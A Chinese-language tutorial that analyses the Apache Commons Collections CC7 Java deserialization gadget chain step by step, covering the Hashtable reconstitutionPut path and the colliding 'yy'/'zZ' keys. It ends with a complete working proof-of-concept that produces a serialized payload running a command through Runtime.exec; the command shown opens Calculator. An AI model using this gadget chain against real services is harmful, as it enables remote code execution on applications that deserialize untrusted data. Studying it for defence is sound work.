1. CommonsCollections7利用链分析
这个利用链也是一个调用LazyMap.get方法触发ChainedTransformer.transform方法从而执行命令的利用链。触发命令执行的调用栈如下:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
....省略....
可以看到,为了触发LazyMap.get,CC7中作者使用了Hashtable。通过Hashtable的readObject方法在反序列化过程中触发LazyMap.get。先简单了解一下Hashtable类。
1.1 Hashtable
Hashtable通过键值对的方式存储对象。它的内部维护了一个table变量,并将数据存储在table中。table变量的声明如下:
private transient Entry<K,V>[] table;
可以看到table变量使用了transient关键字来声明序列化时不保存该变量。而事实上,在我们观察一下Hashtable.get方法:
public synchronized V get(Object key) {
Entry tab[] = table;
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
return e.value;
}
}
return null;
}
可以看到就是在计算一个key的hash值,然后换算成对应的index直接从table中读取数据。而其序列化过程中又不会保存table变量,因此反序列化时就需要重建table变量。Hashtable.readObject方法代码如下:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
...省略...
Entry<K,V>[] newTable = new Entry[length];//新建一个newTable
...省略...
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {//循环读入键值对并放入newTable
K key = (K)s.readObject();
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(newTable, key, value);
}
this.table = newTable;
}
可以看到该方法中,循环读入每一个键值对,然后调用reconstitutionPut方法将键值对放入newTable中,最后再把newTable赋值给this.table以供后续使用。而真正触发Lazymap.get的方法就在reconstitutionPut中,我们跟进该方法:
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
//可以看到它需要保证新存入的key不在表中,毕竟hash表中不允许出现key相同的两个值
int hash = hash(key);//计算key的hash
int index = (hash & 0x7FFFFFFF) % tab.length;//计算key对应的index
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {//循环表中现有元素
if ((e.hash == hash) && e.key.equals(key)) {//对比是否hash相同并且key也相同,而真正触发代码就在这里
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
HashTable.reconstitutionPut方法中,对每一个新加入的键值队,都要对比是否已经存在相同的键,毕竟按理来说Hash表中不应该存在键相同的键值对,因此这里需要对比key是否相同。而作者在这里以LazyMap作为key,因此会调用LazyMap.equals方法。查看LazyMap类发现其中并没有equals方法,而LazyMap继承了AbstractMapDecorator类。因此这里调用的是AbstractMapDecorator.equals,该方法代码如下:
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
可以看到在该方法内部又调用了map.equals。而这个map变量事实上,在调用LazyMap.decorate方法构造LazyMap实例的时候就已经指定:
public static Map decorate(Map map, Transformer factory)
也就是这里传入的Map参数。作者构造Lazymap时代码如下:
Map innerMap1 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
因此这里的map.equals调用的是HashMap.equals。这里HashMap类其实也没有单独写equals方法,因此调用的是它的父类AbstractMap的equals方法。AbstractMap方法的代码如下:
public boolean equals(Object o) {
...省略...
//最开始调用比较的代码中,e.key.equals(key),key是lazyMap
Map<K,V> m = (Map<K,V>) o;//就是传入参数key,因此m也就是lazyMap
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {//循环当前Map中每一个条目,如果只放入了两个元素,那么显然第一进行比较时当前Map就是lazyMap1所对应的Map,而m则是lazyMap2。
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {//可以看到这里不管value是不是null都会调用m.get(key)
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
...省略...
}
可以看到,这里会调用m.get(key),也就是lazyMap.get方法。这里由于value显然是不等于null的因此就会进入if (!value.equals(m.get(key))),从而触发发LazyMap.get方法。但是这里面有个坑,在reconstitutionPut方法中:
if ((e.hash == hash) && e.key.equals(key))
代码从左向右执行,会先比较二者hash是否相等。在与条件下,如果二者哈希相等才会执行后面的e.key.equals(key)。那么如何保证二者hash相等呢?其实是需要追这个hash函数的。lazyMap里作者put的两个键值对并不是随便选的,这里其实会调用到AbstractMap.hashCode方法,总的来说就是把每一项取出来键和值分别计算hashCode然后做异或运算再累加。这里我们的键是String类,而值存的是int类。因此会分别调用String和int的hashcode方法。作者放入lazymap的值都是1因此不需要关注int的hashcode方法,只需要看看String的hashcode方法:
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
可以看到这并不是什么神奇的单向散列,就是个累加。所以这里选择添加的yy和zZ并不是随便选的,这两个String计算hash后值是相等的。
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
还有一个地方需要注意的就是为什么需要lazyMap2.remove("yy");。主要是因为hashtable.put(lazyMap2, 2);调用了HashTable.put方法,该方法代码如下:
public synchronized V put(K key, V value) {
...省略...
Entry tab[] = table;
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
V old = e.value;
e.value = value;
return old;
}
}
...省略...
}
可以看到这里也调用了e.key.equals(key),因此会触发Lazymap.get方法,而最开始我们设置的transformer空的transformer,而空transformer默认的transform方法就是返回对象本身。
最终完整的利用链代码如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7Test {
public static void main(String[] args) throws NoSuchFieldException, IOException, ClassNotFoundException, IllegalAccessException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//这两个put的条目要保证hash相等
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);//会触发equal,从而触发lazymap.get,会向lazyMap2添加一个yy->yy条目
//设置真正的iTransformers
Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(transformerChain,transformers);
// 删除put时添加的yy条目
lazyMap2.remove("yy");
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}